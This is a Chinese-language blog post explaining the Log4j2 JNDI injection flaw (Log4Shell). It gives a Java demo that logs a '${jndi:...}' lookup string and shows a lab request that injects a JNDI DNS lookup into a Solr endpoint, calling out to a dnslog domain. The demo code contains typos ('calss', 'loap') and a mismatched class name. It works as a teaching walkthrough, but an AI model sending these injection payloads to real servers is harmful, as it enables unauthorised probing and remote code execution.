Log4j2 JNDI注入漏洞

2021年一个log4j2的JNDI注入漏洞轰动中外,因为其影响力非常大并且使用门槛比较低。Log4j2并不是一个服务,只是java一个记录日志的类库,但是java中用来记录日志的库本就没几个。所以使用非常广

形成原因是log4j2使用一个Lookups的机制,也就是记录日志的时候会嵌入用户输入数据。这个Lookups可以是Environment,System Properties或者JNDI,这就导致攻击者可以通过参数自己创建一个JNDI都注入点,进而漏洞利用

比如下面一个测试demo

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.ThreadContext;
public calss log4j2Test {
    public final static Logger logger = LogManager.getLogger(Log4jTest.class);
	
    public static void main(String[] args) throws Exception{
        String user="${jndi:loap://localhost:1234/exp}";
        logger.error("{} said it's ok",user);
    }
}

JNDI可以访问的命名或目录服务很多,比如RMI,LOAP以及DNS,这里如果访问RMI和LOAP是可以利用Reference加载远程Factory类实现任意代码执行的,但是需要搭建LOAP服务以及一个web server用来存放exploit.class
为了方便,我们只需要一个DNS测试就可以证明存在JNDI注入漏洞了
使用Docker搭建一个环境,
image
开启环境后直接构造请求包访问
/solr/admin/cores?action=${jndi:dns://d1hjhc.dnslog.cn}
这里利用jndi访问dns服务
image

可以看到虽然返回400 请求无效,但是记录日志的时候还是使用JNDI访问了这个DNS服务去解析域名,这就证明漏洞是生效的
image

posted @ 2024-02-18 15:06  Erebussss  阅读(37)  评论(0编辑  收藏  举报